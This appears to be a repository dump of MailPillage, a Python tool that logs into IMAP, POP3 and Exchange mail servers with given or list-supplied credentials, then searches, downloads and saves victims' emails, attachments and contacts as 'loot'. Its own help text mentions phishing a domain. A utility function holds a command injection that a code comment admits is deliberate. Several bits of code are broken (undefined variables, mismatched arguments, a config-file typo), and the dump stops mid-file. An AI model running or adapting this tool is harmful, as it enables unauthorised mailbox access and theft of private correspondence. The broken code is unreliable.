├── README.md ├── __init__.py ├── core ├── __init__.py └── utils.py ├── default.cfg ├── loot └── placeholder ├── mailpillager.py └── modules ├── __init__.py ├── ews_pillage.py ├── imap_pillage.py ├── imaps_pillage.py ├── pillager.py ├── pop3_pillage.py └── pop3s_pillage.py /README.md: -------------------------------------------------------------------------------- 1 | # MailPillage 2 | python code to connect to mail servers and pillage the data contained within 3 | 4 | #Sample Usage: 5 | 6 | To simple check if creds are valid: 7 | ``` 8 | ./mailpillager.py -s -t -u -d -p "" 9 | ``` 10 | 11 | To search for interecting messages/attachments based on search terms: 12 | ``` 13 | ./mailpillager.py -s -t -u -d -p "" --searchstring "" 14 | ``` 15 | 16 | To download identified emails: 17 | ``` 18 | ./mailpillager.py -s -t -u -d -p "" --searchstring "" --emails 19 | ``` 20 | 21 | To download identified attachments (currently the ews module does not download attachments): 22 | ``` 23 | ./mailpillager.py -s -t -u -d -p "" --searchstring "" --attachments 24 | ``` 25 | 26 | To print constructed contact list: 27 | ``` 28 | ./mailpillager.py -s -t -u -d -p "" --contacts 29 | ``` 30 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tatanus/MailPillage/660a92edd07f541511bafc4a38979bb152625983/__init__.py -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tatanus/MailPillage/660a92edd07f541511bafc4a38979bb152625983/core/__init__.py -------------------------------------------------------------------------------- /core/utils.py: -------------------------------------------------------------------------------- 1 | import ConfigParser 2 | import fcntl 3 | import os 4 | import random 5 | import socket 6 | import string 7 | import struct 8 | import subprocess 9 | import sys 10 | import time 11 | 12 | 13 | class Utils(): 14 | @staticmethod 15 | def port_open(ip, port): 16 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 | result = sock.connect_ex((ip,int(port))) 18 | if result == 0: 19 | return True 20 | else: 21 | return False 22 | 23 | @staticmethod 24 | def to_unicode_str(obj, encoding='utf-8'): 25 | # checks if obj is a string and converts if not 26 | if not isinstance(obj, basestring): 27 | obj = str(obj) 28 | obj = Utils.to_unicode(obj, encoding) 29 | return obj 30 | 31 | @staticmethod 32 | def to_unicode(obj, encoding='utf-8'): 33 | # checks if obj is a unicode string and converts if not 34 | if isinstance(obj, basestring): 35 | if not isinstance(obj, unicode): 36 | obj = unicode(obj, encoding) 37 | return obj 38 | 39 | @staticmethod 40 | def newLine(): 41 | return os.linesep 42 | 43 | @staticmethod 44 | def isWriteable(filename): 45 | try: 46 | fp = open(filename, 'a') 47 | fp.close() 48 | return True 49 | except IOError: 50 | return False 51 | 52 | @staticmethod 53 | def isReadable(filename): 54 | if not filename: 55 | return False 56 | try: 57 | fp = open(filename, 'r') 58 | fp.close() 59 | return True 60 | except IOError: 61 | return False 62 | 63 | @staticmethod 64 | def isExecutable(filename): 65 | return Utils.fileExists(filename) and os.access(filename, os.X_OK) 66 | 67 | @staticmethod 68 | def fileExists(filename): 69 | return os.path.isfile(filename) 70 | 71 | @staticmethod 72 | def writeFile(text, filename, flag="a"): 73 | fullfilename = os.path.abspath(filename+"_"+Utils.getRandStr(10)) 74 | if not os.path.exists(os.path.dirname(fullfilename)): 75 | os.makedirs(os.path.dirname(fullfilename)) 76 | fp = open(fullfilename, flag) 77 | fp.write(text) 78 | fp.close() 79 | 80 | @staticmethod 81 | def validateExecutable(name): 82 | path = None 83 | # yes I know this is an obvious command injection... 84 | # but we trust the users correct? ;) 85 | tmp = Utils.execWait("which " + name).strip() 86 | if (tmp) and (tmp != "") and Utils.isExecutable(tmp): 87 | path = tmp 88 | return path 89 | 90 | @staticmethod 91 | def getRandStr(length): 92 | return ''.join(random.choice(string.lowercase) for i in range(length)) 93 | 94 | @staticmethod 95 | def loadConfig(filename): 96 | config = {} 97 | if Utils.isReadable(filename): 98 | parser = ConfigParser.SafeConfigParser() 99 | parser.read(filename) 100 | for section_name in parser.sections(): 101 | for name, value in parser.items(section_name): 102 | config[name] = value 103 | return config 104 | 105 | @staticmethod 106 | def uniqueList(old_list): 107 | new_list = [] 108 | if old_list != []: 109 | for x in old_list: 110 | if x not in new_list: 111 | new_list.append(x) 112 | return new_list 113 | 114 | @staticmethod 115 | def execWait(cmd, outfile=None, timeout=0): 116 | result = "" 117 | env = os.environ 118 | timeout_cmd = "" 119 | if timeout: 120 | timeout_cmd = "timeout " + str(timeout) + " " 121 | proc = subprocess.Popen(timeout_cmd + cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 122 | result = proc.communicate()[0] 123 | if outfile: 124 | if Utils.fileExists(outfile): 125 | print "FILE ALREADY EXISTS!!!!" 126 | else: 127 | tmp_result = "\033[0;33m(" + time.strftime( 128 | "%Y.%m.%d-%H.%M.%S") + ") #\033[0m " + cmd + Utils.newLine() + Utils.newLine() + result 129 | Utils.writeFile(tmp_result, outfile) 130 | return result 131 | 132 | @staticmethod 133 | def webScreenCap(url, outfile): 134 | cmd = 'phantomjs --ssl-protocol=any --ignore-ssl-errors=yes misc/capture.js "%s" "%s"' % (url, outfile) 135 | Utils.execWait(cmd) 136 | return 137 | 138 | @staticmethod 139 | def getInterfaceIP(ifname): 140 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 141 | return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', ifname[:15]))[20:24]) 142 | 143 | @staticmethod 144 | def getIP(): 145 | ip = socket.gethostbyname(socket.gethostname()) 146 | if ip.startswith("127."): 147 | interfaces = ["eth0", "eth1", "eth2", "wlan0", "wlan1", "wifi0", "ath0", "ath1", "ppp0", ] 148 | for ifname in interfaces: 149 | try: 150 | ip = Utils.getInterfaceIP(ifname) 151 | break 152 | except IOError: 153 | pass 154 | return ip 155 | 156 | @staticmethod 157 | def getUnusedPort(): 158 | port = 0 159 | # determine free port 160 | return port 161 | 162 | 163 | class Colors(object): 164 | N = '\033[m' # native 165 | R = '\033[31m' # red 166 | G = '\033[32m' # green 167 | O = '\033[33m' # orange 168 | B = '\033[34m' # blue 169 | 170 | 171 | class ProgressBar(): 172 | def __init__(self, end=100, width=10, title="", display=None): 173 | self.end = end 174 | self.width = width 175 | self.title = title 176 | self.display = display 177 | self.progress = float(0) 178 | self.bar_format = '[%(fill)s>%(blank)s] %(progress)s%% - %(title)s' 179 | self.rotate_format = '[Processing: %(mark)s] %(title)s' 180 | self.markers = '|/-\\' 181 | self.curmark = -1 182 | self.completed = False 183 | self.reset() 184 | 185 | def reset(self, end=None, width=None, title=""): 186 | self.progress = float(0) 187 | self.completed = False 188 | if (end): 189 | self.end = end 190 | if (width): 191 | self.width = width 192 | self.curmark = -1 193 | self.title = title 194 | 195 | def inc(self, num=1): 196 | if (not self.completed): 197 | self.progress += num 198 | 199 | cur_width = (self.progress / self.end) * self.width 200 | fill = int(cur_width) * "-" 201 | blank = (self.width - int(cur_width)) * " " 202 | percentage = int((self.progress / self.end) * 100) 203 | 204 | if (self.display): 205 | self.display.verbose( 206 | self.bar_format % {'title': self.title, 'fill': fill, 'blank': blank, 'progress': percentage}, 207 | rewrite=True, end="", flush=True) 208 | else: 209 | sys.stdout.write('\r' + self.bar_format % {'title': self.title, 'fill': fill, 'blank': blank, 210 | 'progress': percentage}) 211 | sys.stdout.flush() 212 | 213 | if (self.progress == self.end): 214 | self.done() 215 | return self.completed 216 | 217 | def done(self): 218 | self.completed = True 219 | 220 | def rotate(self): 221 | if (not self.completed): 222 | self.curmark = (self.curmark + 1) % len(self.markers) 223 | if (self.display): 224 | self.display.verbose(self.rotate_format % {'title': self.title, 'mark': self.markers[self.curmark]}, 225 | rewrite=True, end="", flush=True) 226 | else: 227 | sys.stdout.write('\r' + self.rotate_format % {'title': self.title, 'mark': self.markers[self.curmark]}) 228 | sys.stdout.flush() 229 | return self.completed 230 | 231 | 232 | class Display(): 233 | def __init__(self, verbose=False, debug=False, logpath=None): 234 | self.VERBOSE = verbose 235 | self.DEBUG = debug 236 | self.logpath = logpath 237 | self.ruler = '-' 238 | 239 | def setLogPath(self, logpath): 240 | self.logpath = logpath 241 | 242 | def enableVerbose(self): 243 | self.VERBOSE = True 244 | 245 | def enableDebug(self): 246 | self.DEBUG = True 247 | 248 | def log(self, s, filename="processlog.txt"): 249 | if (self.logpath is not None): 250 | fullfilename = self.logpath + filename 251 | if not os.path.exists(os.path.dirname(fullfilename)): 252 | os.makedirs(os.path.dirname(fullfilename)) 253 | fp = open(fullfilename, "a") 254 | if (filename == "processlog.txt"): 255 | fp.write(time.strftime("%Y.%m.%d-%H.%M.%S") + " - " + s + "\n") 256 | else: 257 | fp.write(s) 258 | fp.close() 259 | 260 | def _display(self, line, end="\n", flush=True, rewrite=False): 261 | if (rewrite): 262 | line = '\r' + line 263 | sys.stdout.write(line + end) 264 | if (flush): 265 | sys.stdout.flush() 266 | self.log(line) 267 | 268 | def error(self, line="", end="\n", flush=True, rewrite=False): 269 | '''Formats and presents errors.''' 270 | line = line[:1].upper() + line[1:] 271 | s = '%s[!] %s%s' % (Colors.R, Utils.to_unicode(line), Colors.N) 272 | self._display(s, end=end, flush=flush, rewrite=rewrite) 273 | 274 | def output(self, line="", end="\n", flush=True, rewrite=False): 275 | '''Formats and presents normal output.''' 276 | s = '%s[*]%s %s' % (Colors.B, Colors.N, Utils.to_unicode(line)) 277 | self._display(s, end=end, flush=flush, rewrite=rewrite) 278 | 279 | def alert(self, line="", end="\n", flush=True, rewrite=False): 280 | '''Formats and presents important output.''' 281 | s = '%s[*] %s%s' % (Colors.O, Utils.to_unicode(line), Colors.N) 282 | self._display(s, end=end, flush=flush, rewrite=rewrite) 283 | 284 | def verbose(self, line="", end="\n", flush=True, rewrite=False): 285 | '''Formats and presents output if in verbose mode.''' 286 | if self.VERBOSE: 287 | self.output("[VERBOSE] " + line, end=end, flush=True, rewrite=rewrite) 288 | 289 | def debug(self, line="", end="\n", flush=True, rewrite=False): 290 | '''Formats and presents output if in debug mode (very verbose).''' 291 | if self.DEBUG: 292 | self.output("[DEBUG] " + line, end=end, flush=True, rewrite=rewrite) 293 | 294 | def yn(self, line, default=None): 295 | valid = {"yes": True, "y": True, 296 | "no": False, "n": False} 297 | if default is None: 298 | prompt = " [y/n] " 299 | elif (default.lower() == "yes") or (default.lower() == "y"): 300 | prompt = " [Y/n] " 301 | elif (default.lower() == "no") or (default.lower() == "n"): 302 | prompt = " [y/N] " 303 | else: 304 | self.alert("ERROR: Please provide a valid default value: no, n, yes, y, or None") 305 | 306 | while True: 307 | choice = self.input(line + prompt) 308 | if default is not None and choice == '': 309 | return valid[default.lower()] 310 | elif choice.lower() in valid: 311 | return valid[choice.lower()] 312 | else: 313 | self.alert("Please respond with 'yes/no' or 'y/n'.") 314 | 315 | def selectlist(self, line, input_list): 316 | answers = [] 317 | 318 | if input_list != []: 319 | i = 1 320 | for item in input_list: 321 | self.output(str(i) + ": " + str(item)) 322 | i = i + 1 323 | else: 324 | return answers 325 | 326 | choice = self.input(line) 327 | if not choice: 328 | return answers 329 | 330 | answers = (choice.replace(' ', '')).split(',') 331 | return answers 332 | 333 | def input(self, line): 334 | '''Formats and presents an input request to the user''' 335 | s = '%s[?]%s %s' % (Colors.O, Colors.N, Utils.to_unicode(line)) 336 | answer = raw_input(s) 337 | return answer 338 | 339 | def heading(self, line): 340 | '''Formats and presents styled header text''' 341 | line = Utils.to_unicode(line) 342 | self.output(self.ruler * len(line)) 343 | self.output(line.upper()) 344 | self.output(self.ruler * len(line)) 345 | 346 | def print_list(self, title, _list): 347 | self.heading(title) 348 | if _list != []: 349 | for item in _list: 350 | self.output(item) 351 | else: 352 | self.output("None") 353 | 354 | # ----------------------------------------------------------------------------- 355 | # main test code 356 | # ----------------------------------------------------------------------------- 357 | -------------------------------------------------------------------------------- /default.cfg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tatanus/MailPillage/660a92edd07f541511bafc4a38979bb152625983/default.cfg -------------------------------------------------------------------------------- /loot/placeholder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tatanus/MailPillage/660a92edd07f541511bafc4a38979bb152625983/loot/placeholder -------------------------------------------------------------------------------- /mailpillager.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python 2 | import email.parser 3 | import imaplib 4 | import os 5 | import poplib 6 | import re 7 | import ssl 8 | import sys 9 | import argparse 10 | 11 | from core.utils import Utils, Display 12 | from modules.pillager import Pillager 13 | from modules.imap_pillage import IMAP 14 | from modules.imaps_pillage import IMAPS 15 | from modules.pop3_pillage import POP3 16 | from modules.pop3s_pillage import POP3S 17 | from modules.ews_pillage import EWS 18 | 19 | # ----------------------------------------------------------------------------- 20 | # primary class for mail pillager 21 | # ----------------------------------------------------------------------------- 22 | class MailPillager(): 23 | def __init__(self): 24 | self.config = {} # dict to contain combined list of config file options and commandline parameters 25 | 26 | self.display = Display() 27 | 28 | self.config["verbose"] = False 29 | self.config["downloadattachments"] = False 30 | self.config["downloademails"] = True 31 | self.config["buildcontactlist"] = True 32 | self.config["searchstringfile"] = "" 33 | self.config["searchterms"] = list() 34 | self.config["server"] = "" 35 | self.config["servertype"] = "" 36 | self.config["domain"] = "" 37 | self.config["username"] = "" 38 | self.config["usernamefile"] = "" 39 | self.config["password"] = "" 40 | self.config["passwordfile"] = "" 41 | self.config["usernamepasswordfile"] = "" 42 | self.config["config_filename"] = "defasult.cfg" 43 | self.config["outdir"] = "loot/" 44 | 45 | 46 | #---------------------------- 47 | # Parse CommandLine Parms 48 | #---------------------------- 49 | def parse_parameters(self, argv): 50 | parser = argparse.ArgumentParser() 51 | 52 | #================================================== 53 | # Input Files 54 | #================================================== 55 | filesgroup = parser.add_argument_group('input files') 56 | filesgroup.add_argument("-C", 57 | metavar="", 58 | dest="config_file", 59 | action='store', 60 | help="config file") 61 | filesgroup.add_argument("-U", 62 | metavar="", 63 | dest="usernamefile", 64 | action='store', 65 | help="file containing list of username") 66 | filesgroup.add_argument("-P", 67 | metavar="", 68 | dest="passwordfile", 69 | action='store', 70 | help="file containing list of passwords") 71 | filesgroup.add_argument("--COMBINED", 72 | metavar="", 73 | dest="usernamepasswordfile", 74 | action='store', 75 | help="file containing list of username:password") 76 | filesgroup.add_argument("--searchstringifile", 77 | metavar="", 78 | dest="searchstringfile", 79 | action='store', 80 | help="file containing list of search strings or regexes, 1 per line") 81 | 82 | #================================================== 83 | # Enable Flags 84 | #================================================== 85 | enablegroup = parser.add_argument_group('enable flags') 86 | enablegroup.add_argument("--emails", 87 | dest="downloademails", 88 | action='store_true', 89 | help="download any identified emails?") 90 | enablegroup.add_argument("--attachments", 91 | dest="downloadattachments", 92 | action='store_true', 93 | help="download any identified attachments?") 94 | enablegroup.add_argument("--contacts", 95 | dest="buildcontactlist", 96 | action='store_true', 97 | help="collect contact list?") 98 | 99 | #================================================== 100 | # Other Args 101 | #================================================== 102 | parser.add_argument("-s", 103 | metavar="", 104 | dest="server", 105 | default="", 106 | action='store', 107 | help="target mail server ip or fqdn") 108 | parser.add_argument("-t", 109 | metavar="", 110 | dest="servertype", 111 | default="", 112 | action='store', 113 | help="valid choices are: IMAP, IMAPS, POP3, POP3S, OWA, EWS") 114 | parser.add_argument("-d", 115 | metavar="", 116 | dest="domain", 117 | action='store', 118 | help="domain name to phish") 119 | parser.add_argument("-u", 120 | metavar="", 121 | dest="username", 122 | action='store', 123 | help="username") 124 | parser.add_argument("-p", 125 | metavar="", 126 | dest="password", 127 | action='store', 128 | help="password") 129 | parser.add_argument("--searchstring", 130 | metavar="\"term1,term2,term3,...\"", 131 | dest="searchstring", 132 | action='store', 133 | help="list of search terms seperated by commas") 134 | parser.add_argument("-o", 135 | metavar="", 136 | dest="outdir", 137 | action='store', 138 | help="directory to which to save any loot") 139 | parser.add_argument("-v", "--verbosity", 140 | dest="verbose", 141 | action='count', 142 | help="increase output verbosity") 143 | 144 | # parse args 145 | args = parser.parse_args() 146 | 147 | # convert parameters to values in the config dict 148 | self.config["verbose"] = args.verbose 149 | self.config["downloadattachments"] = args.downloadattachments 150 | self.config["downloademails"] = args.downloademails 151 | self.config["buildcontactlist"] = args.buildcontactlist 152 | self.config["searchstringfile"] = args.searchstringfile 153 | self.config["searchstring"] = args.searchstring 154 | self.config["server"] = args.server 155 | self.config["servertype"] = args.servertype 156 | self.config["domain"] = args.domain 157 | self.config["username"] = args.username 158 | self.config["usernamefile"] = args.usernamefile 159 | self.config["password"] = args.password 160 | self.config["passwordfile"] = args.passwordfile 161 | self.config["usernamepasswordfile"] = args.usernamepasswordfile 162 | if args.outdir: 163 | self.config["outdir"] = args.outdir 164 | 165 | if self.config["searchstring"]: 166 | self.config["searchterms"] = self.config["searchstring"].split(",") 167 | 168 | if Utils.isReadable(self.config["searchstringfile"]): 169 | with open(self.config["searchstringfile"]) as f: 170 | self.config["searchterms"] = f.read().splitlines() 171 | 172 | # validate we have required fields 173 | valid = True 174 | if (self.config["username"] and self.config["password"]) or (Utils.isReadable(self.config["usernamefile"]) and Utils.isReadable(self.config["passwordfile"])) or (Utils.isReadable(self.config["usernamepasswordfile"])): 175 | pass 176 | else: 177 | self.display.error("Please enable at least one of the following parameters: --COMBINED or (-U and -P) or (-u and -p)") 178 | valid = False 179 | if (self.config["server"] and self.config["servertype"]): 180 | self.config["servertype"] = self.config["servertype"].lower() 181 | pass 182 | else: 183 | self.display.error("Please enable at both of: -s and -t") 184 | valid = False 185 | 186 | if not valid: 187 | parser.print_help() 188 | sys.exit(1) 189 | 190 | #---------------------------- 191 | # Process/Load config file 192 | #---------------------------- 193 | def load_config(self): 194 | # does config file exist? 195 | if (self.config["config_filename"] is not None): 196 | temp1 = self.config 197 | temp2 = Utils.loadConfig(self.config["config_filename"]) 198 | self.config = dict(temp2.items() + temp1.items()) 199 | else: 200 | # guess not.. so try to load the default one 201 | if Utils.is_readable("default.cfg"): 202 | self.display.error("a CONFIG FILE was not specified... defaulting to [default.cfg]") 203 | print 204 | temp1 = self.config 205 | temp2 = Utils.loadConfig("default.cfg") 206 | self.config = dict(temp2.items() + temp1.items()) 207 | else: 208 | # someone must have removed it! 209 | self.display.error("a CONFIG FILE was not specified...") 210 | print 211 | sys.exit(1) 212 | 213 | # set verbosity/debug level 214 | if (self.config['verbose'] >= 1): 215 | self.display.enableVerbose() 216 | if (self.config['verbose'] > 1): 217 | self.display.enableDebug() 218 | 219 | def pillage(self, username, password, server, servertype, domain): 220 | 221 | #print "%s, %s, %s, %s" % (username, password, server, domain) 222 | 223 | # decide on type of mail server 224 | mail = None 225 | port = 0 226 | if servertype == "imaps": 227 | mail = IMAPS() 228 | port = 993 229 | elif servertype == "imap": 230 | mail = IMAP() 231 | port = 143 232 | elif servertype == "pop3s": 233 | mail = POP3S() 234 | port = 995 235 | elif servertype == "pop3": 236 | mail = POP3() 237 | port = 110 238 | elif servertype == "owa": 239 | mail = EWS() 240 | port = 443 241 | elif servertype == "ews": 242 | mail = EWS() 243 | port = 443 244 | else: 245 | print "ERROR, unknown server type provided" 246 | return 247 | 248 | # connect to mail server 249 | mail.connect(self.config) 250 | 251 | # validate username/password 252 | valid = False 253 | print "trying [%s]" % (username) 254 | if (mail.validate(username, password)): 255 | valid = True 256 | if not valid and (domain is not ""): 257 | print "trying [%s@%s]" % (username, domain) 258 | if (mail.validate(username + "@" + domain, password)): 259 | valid = True 260 | username = username + "@" + domain 261 | 262 | # assuming the username/password worked 263 | if (valid): 264 | print "USER [%s] with PASSWORD [%s] is valid on [%s:%i]" % (username, password, server, port) 265 | 266 | # pillage information! 267 | mail.pillage() 268 | 269 | mail.disconnect() 270 | else: 271 | print "USER [%s] with PASSWORD [%s] is NOT valid on [%s:%i]" % (username, password, server, port) 272 | 273 | def run(self, argv): 274 | # load config 275 | self.parse_parameters(argv) 276 | self.load_config() 277 | 278 | # validate that all necessary flags/configs were set 279 | 280 | # if single username and password 281 | if (self.config["username"] and self.config["password"]): 282 | mp.pillage(username=self.config["username"], password=self.config["password"], server=self.config["server"], servertype=self.config["servertype"], domain=self.config["domain"]) 283 | # if seperate username and password files 284 | elif (Utils.isReadable(self.config["usernamefile"]) and Utils.isReadable(self.config["passwordfile"])): 285 | usernames = list() 286 | passwords = list() 287 | with open(self.config["usernamefile"]) as f: 288 | usernames = f.read().splitlines() 289 | with open(self.config["passwordfile"]) as f: 290 | passwords = f.read().splitlines() 291 | for u in usernames: 292 | for p in passwords: 293 | mp.pillage(username=u, password=p, server=self.config["server"], port=int(self.config["serverport"]), domain=self.config["domain"]) 294 | elif Utils.isReadable(self.config["usernamepasswordfile"]): 295 | # if a combined username password file 296 | usernames = list() 297 | with open(self.config["usernamepasswordfile"]) as f: 298 | usernamespasswords = f.read().splitlines() 299 | for temp in usernamepasswords: 300 | (u, p) = temp.split(":", 1) 301 | mp.pillage(username=u, password=p, server=self.config["server"], port=int(self.config["serverport"]), domain=self.config["domain"]) 302 | 303 | # ----------------------------------------------------------------------------- 304 | # main test code 305 | # ----------------------------------------------------------------------------- 306 | if __name__ == "__main__": 307 | mp = MailPillager() 308 | mp.run(sys.argv[1:]) 309 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tatanus/MailPillage/660a92edd07f541511bafc4a38979bb152625983/modules/__init__.py -------------------------------------------------------------------------------- /modules/ews_pillage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import base64 4 | import httplib 5 | import os 6 | import re 7 | from lxml import etree 8 | 9 | from modules.pillager import Pillager 10 | from core.utils import Utils 11 | 12 | # ----------------------------------------------------------------------------- 13 | # IMAP subclass of Pillager Class 14 | # ----------------------------------------------------------------------------- 15 | class EWS(Pillager): 16 | def __init__(self): 17 | Pillager.__init__(self) 18 | self.uids = None 19 | self.url = "" 20 | self.user = "" 21 | self.password = "" 22 | 23 | def connect(self, config): 24 | self.config = config 25 | self.url = "http://" + self.config["server"] + "/ews/Exchange.asmx" 26 | return 27 | 28 | def disconnect(self): 29 | return 30 | 31 | def buildConn(self, request): 32 | # Build authentication string, remove newline for using it in a http header 33 | auth = base64.encodestring("%s:%s" % (self.user, self.password)).replace('\n', '') 34 | conn = httplib.HTTPSConnection(self.config["server"]) 35 | conn.request("POST", self.url, body=request, headers={ 36 | "Host": self.config["server"], 37 | "Content-Type": "text/xml; charset=UTF-8", 38 | "Content-Length": len(request), 39 | "Authorization": "Basic %s" % auth 40 | }) 41 | # Read the webservice response 42 | resp = conn.getresponse() 43 | status = resp.status 44 | data = resp.read() 45 | conn.close() 46 | return (status, data) 47 | 48 | def validate(self, user, password): 49 | self.user = user 50 | self.password = password 51 | request = """ 52 | 54 | 55 | 58 | 59 | Default 60 | 61 | 62 | 63 | 64 | 65 | 66 | """.format() 67 | 68 | (status, data) = self.buildConn(request) 69 | if (int(status) == 401): 70 | return False 71 | return True 72 | 73 | def pillage(self): 74 | self.searchMessages(self.config["searchterms"]) 75 | 76 | def searchMessages(self, term): 77 | request = """ 78 | 80 | 81 | 84 | 85 | Default 86 | 87 | 88 | 89 | 90 | 91 | 92 | """.format() 93 | 94 | # authenticate, issue request, get response 95 | (status, data) = self.buildConn(request) 96 | 97 | # Parse the result xml 98 | root = etree.fromstring(data) 99 | 100 | xpathStr = "/s:Envelope/s:Body/m:FindItemResponse/m:ResponseMessages/m:FindItemResponseMessage/m:RootFolder/t" \ 101 | ":Items/t:Message" 102 | namespaces = { 103 | 's': 'http://schemas.xmlsoap.org/soap/envelope/', 104 | 't': 'http://schemas.microsoft.com/exchange/services/2006/types', 105 | 'm': 'http://schemas.microsoft.com/exchange/services/2006/messages', 106 | } 107 | 108 | contacts = [] 109 | # Print Mail properties 110 | elements = root.xpath(xpathStr, namespaces=namespaces) 111 | for element in elements: 112 | try: 113 | subject = element.find('{http://schemas.microsoft.com/exchange/services/2006/types}Subject').text 114 | fromname = element.find( 115 | '{http://schemas.microsoft.com/exchange/services/2006/types}From/{' 116 | 'http://schemas.microsoft.com/exchange/services/2006/types}Mailbox/{' 117 | 'http://schemas.microsoft.com/exchange/services/2006/types}Name').text 118 | fromemail = element.find( 119 | '{http://schemas.microsoft.com/exchange/services/2006/types}From/{' 120 | 'http://schemas.microsoft.com/exchange/services/2006/types}Mailbox/{' 121 | 'http://schemas.microsoft.com/exchange/services/2006/types}EmailAddress').text 122 | itemid = element.find('{http://schemas.microsoft.com/exchange/services/2006/types}ItemId').attrib['Id'] 123 | changekey = element.find('{http://schemas.microsoft.com/exchange/services/2006/types}ItemId').attrib[ 124 | 'ChangeKey'] 125 | 126 | contacts.append(fromname.encode('ascii', 'ignore') + " (" + fromemail.encode('ascii', 'ignore') + ")") 127 | 128 | for search_term in term: 129 | if re.search(search_term, subject, re.IGNORECASE): 130 | print "-------------------------------------------" 131 | print "MATCHED ON [%s]" % (search_term) 132 | print "* Subject : " + subject.encode('ascii', 'ignore') 133 | print "* From : " + fromname.encode('ascii', 'ignore') + " (" + fromemail.encode('ascii', 134 | 'ignore') + ")" 135 | if self.config["downloademails"]: 136 | body = self.getBody(itemid, changekey) 137 | #self.writeMessage(fromname.encode('ascii', 'ignore').replace(" ", "_") + (subject.encode('ascii', 'ignore').replace(" ", "_")), body) 138 | tempname = fromname.encode('ascii', 'ignore').replace(" ", "_") + (subject.encode('ascii', 'ignore').replace(" ", "_")) 139 | filename = "".join(c for c in tempname if c.isalnum()).rstrip() 140 | self.writeMessage(filename, body) 141 | except: 142 | pass 143 | 144 | if self.config["buildcontactlist"]: 145 | # print out any collected contacts 146 | for contact in sorted(set(contacts)): 147 | print contact 148 | 149 | def writeMessage(self, messageid, text): 150 | filename = self.user + "_" + messageid 151 | filename = "".join(c for c in filename if c.isalnum()).rstrip() 152 | file_path = os.path.join(self.config["outdir"], filename) 153 | 154 | print "Downloading message id [%s] to [%s]" % (messageid, file_path) 155 | Utils.writeFile(text, file_path) 156 | 157 | def getBody(self, itemid, changekey): 158 | request = """ 159 | 164 | 165 | 168 | 169 | Default 170 | true 171 | 172 | 173 | 174 | 175 | 176 | 177 | """.format(itemid, changekey) 178 | 179 | # authenticate, issue request, get response 180 | (status, data) = self.buildConn(request) 181 | 182 | # Parse the result xml 183 | root = etree.fromstring(data) 184 | 185 | # start xpath 186 | xpathStr = "/s:Envelope/s:Body/m:GetItemResponse/m:ResponseMessages/m:GetItemResponseMessage/m:Items/t:Message" 187 | 188 | namespaces = { 189 | 's': 'http://schemas.xmlsoap.org/soap/envelope/', 190 | 't': 'http://schemas.microsoft.com/exchange/services/2006/types', 191 | 'm': 'http://schemas.microsoft.com/exchange/services/2006/messages', 192 | } 193 | 194 | # Print Mail Body 195 | elements = root.xpath(xpathStr, namespaces=namespaces) 196 | for element in elements: 197 | body = element.find('{http://schemas.microsoft.com/exchange/services/2006/types}Body').text 198 | return body.encode('ascii', 'ignore') 199 | return "" 200 | -------------------------------------------------------------------------------- /modules/imap_pillage.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python 2 | import email.parser 3 | import imaplib 4 | import os 5 | import poplib 6 | import re 7 | import ssl 8 | from threading import Thread 9 | 10 | from modules.pillager import Pillager 11 | from core.utils import Utils 12 | 13 | # ----------------------------------------------------------------------------- 14 | # IMAP subclass of Pillager Class 15 | # ----------------------------------------------------------------------------- 16 | class IMAP(Pillager): 17 | def __init__(self): 18 | Pillager.__init__(self) 19 | self.uids = None 20 | 21 | def connect(self, config): 22 | self.config = config 23 | try: 24 | self.srv = imaplib.IMAP4(self.config["server"]) 25 | except: 26 | self.srv = None 27 | pass 28 | 29 | def disconnect(self): 30 | if (self.srv): 31 | # self.srv.close() 32 | self.srv.logout() 33 | 34 | def validate(self, user, password): 35 | if (not self.srv): 36 | return 37 | 38 | self.user = user 39 | self.password = password 40 | try: 41 | self.srv.login(user, password) 42 | except ssl.SSLError as e: 43 | return False 44 | except imaplib.IMAP4.error as e: 45 | return False 46 | return True 47 | 48 | def searchMessageBodies(self, term=None): 49 | if (not self.srv): 50 | return [] 51 | 52 | if (not term): 53 | return [] 54 | 55 | matched = [] 56 | self.srv.select(readonly=True) 57 | search_term = self.buildSearchTerm("Body", term) 58 | typ, data = self.srv.search(None, search_term) 59 | for uid in data[0].split(): 60 | print "MATCHED ON [%s]" % (uid) 61 | 62 | if not uid in matched: 63 | matched.append(uid) 64 | return matched 65 | 66 | def searchMessageSubjects(self, term=None): 67 | if (not self.srv): 68 | return [] 69 | 70 | if (not term): 71 | return [] 72 | 73 | matched = [] 74 | self.srv.select(readonly=True) 75 | search_term = self.buildSearchTerm("Subject", term) 76 | typ, data = self.srv.search(None, search_term) 77 | for uid in data[0].split(): 78 | header = self.srv.fetch(uid, '(BODY[HEADER])') 79 | if (header): 80 | header_data = header[1][0][1] 81 | parser = email.parser.HeaderParser() 82 | msg = parser.parsestr(header_data) 83 | print "#%s [%s] -> [%s]" % (uid, msg['from'], msg['subject']) 84 | 85 | if not uid in matched: 86 | matched.append(uid) 87 | return matched 88 | 89 | def searchMessageAttachments(self, term=None): 90 | if (not self.srv): 91 | return [] 92 | 93 | self.getUIDs() 94 | 95 | if (not self.uids): 96 | return [] 97 | 98 | matched = [] 99 | for uid in self.uids: 100 | resp, data = self.srv.fetch(uid, 101 | "(RFC822)") # fetching the mail, "`(RFC822)`" means "get the whole stuff", 102 | # but you can ask for headers only, etc 103 | email_body = data[0][1] # getting the mail content 104 | mail = email.message_from_string(email_body) # parsing the mail content to get a mail object 105 | 106 | # Check if any attachments at all 107 | if mail.get_content_maintype() != 'multipart': 108 | continue 109 | 110 | print "[" + mail["From"] + "] :" + mail["Subject"] 111 | 112 | # we use walk to create a generator so we can iterate on the parts and forget about the recursive headach 113 | for part in mail.walk(): 114 | # multipart are just containers, so we skip them 115 | if part.get_content_maintype() == 